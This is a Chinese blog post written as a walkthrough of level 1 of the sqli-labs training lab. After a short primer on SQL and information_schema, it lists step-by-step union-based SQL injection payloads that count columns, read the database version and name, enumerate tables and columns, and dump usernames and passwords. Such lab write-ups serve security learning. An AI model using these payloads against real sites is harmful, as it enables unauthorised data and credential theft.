SQLI_LAB------level 1

SQLI_LAB

刷题刷题刷题!!!

知识扩展:

SQL

1)SQL注入介绍

      SQLI,sql injection,我们称之为 sql 注入。何为 sql,英文:Structured Query Language,叫做结构化查询语言。常见的结构化数据库有MySQL,MS SQL ,Oracle以及Postgresql。Sql语言就是我们在管理数据库时用到的一种。在我们的应用系统使用 sql 语句进行管理应用数据库时,往往采用拼接的方式形成一条完整的数据库语言,而危险的是,在拼接sql语句的时候,我们可以改变sql 语句。从而让数据执行我们想要执行的语句,这就是我们常说的sql注入。

2)关于SQL基础语句

      增:insert into tableName(columnName1,columnName2) values(value1,value2)

      删:delete from tableName where …

      改:update tableName set columnName=value where …

      查:select * from tableName where …

3)Information_schema数据库基本表说明:

      schemata表:提供了当前mysql实例中所有的数据库信息,show databases的结果就是从该表得出。

     
      tables表:提供了关于数据库中的所有表的信息,即表属于哪个schema,表的创建时间、表的类型等,show tables from schemaName的结果就是从该表得出。

     

      columns表:提供表中所有列信息,即表明了表中所有列及每列的信息,show columns from schemaName.tableName的结果就是从该表得出。

      。。。。。。待续

less1

这是进去以后的主界面

图片.png

下面开始进行简单测试

判断是否存在注入点

图片.png

图片.png

基础语句 and 1=1  、 and 1=2 判断 这里发现页面没什么变化。尝试测试 单引号 ‘

构造的语句:-1'

图片.png

发现页面出现报错信息,判断页面存在get注入。

开始构造sql语句,查询字段数量。 通常使用order by 2........

构造的语句:-1'+order+by+3--+

图片.png

通过不断测试发现当数字4时开始报错,说明数据库中有3个字段。

构造的语句:-1'+order+by+4--+

图片.png

知道字段数以后,开始获取数据库版本,当前库名

构造的语句:-1'+union+select+1,version(),database()--+

图片.png

得到版本、库名等信息以后,开始获取表名

构造的语句:-1'+union+select+1,group_concat(table_name),database()+from information_schema.tables+where+table_schema='security'--+

图片.png

获取到表名以后,开始尝试获取字段名

构造语句:-1'+union+select+1,group_concat(column_name),database()+from information_schema.columns+where+table_name='users'--+

图片.png

获取到字段名后,开始尝试获取字段内容

构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password),+3+from+users--+

图片.png

但是这样有点乱,所以加个换行符 正常的话应该十六的进制的数但是呢没记住就直接写了

构造语句:-1'+union+select+1,group_concat(id,0x7e,username,0x3a,password,'<hr />'),+3+from+users--+

图片.png

 

第一关完成。。。。。。
 
posted @ 2020-02-19 17:49  MTcx  阅读(270)  评论(0编辑  收藏  举报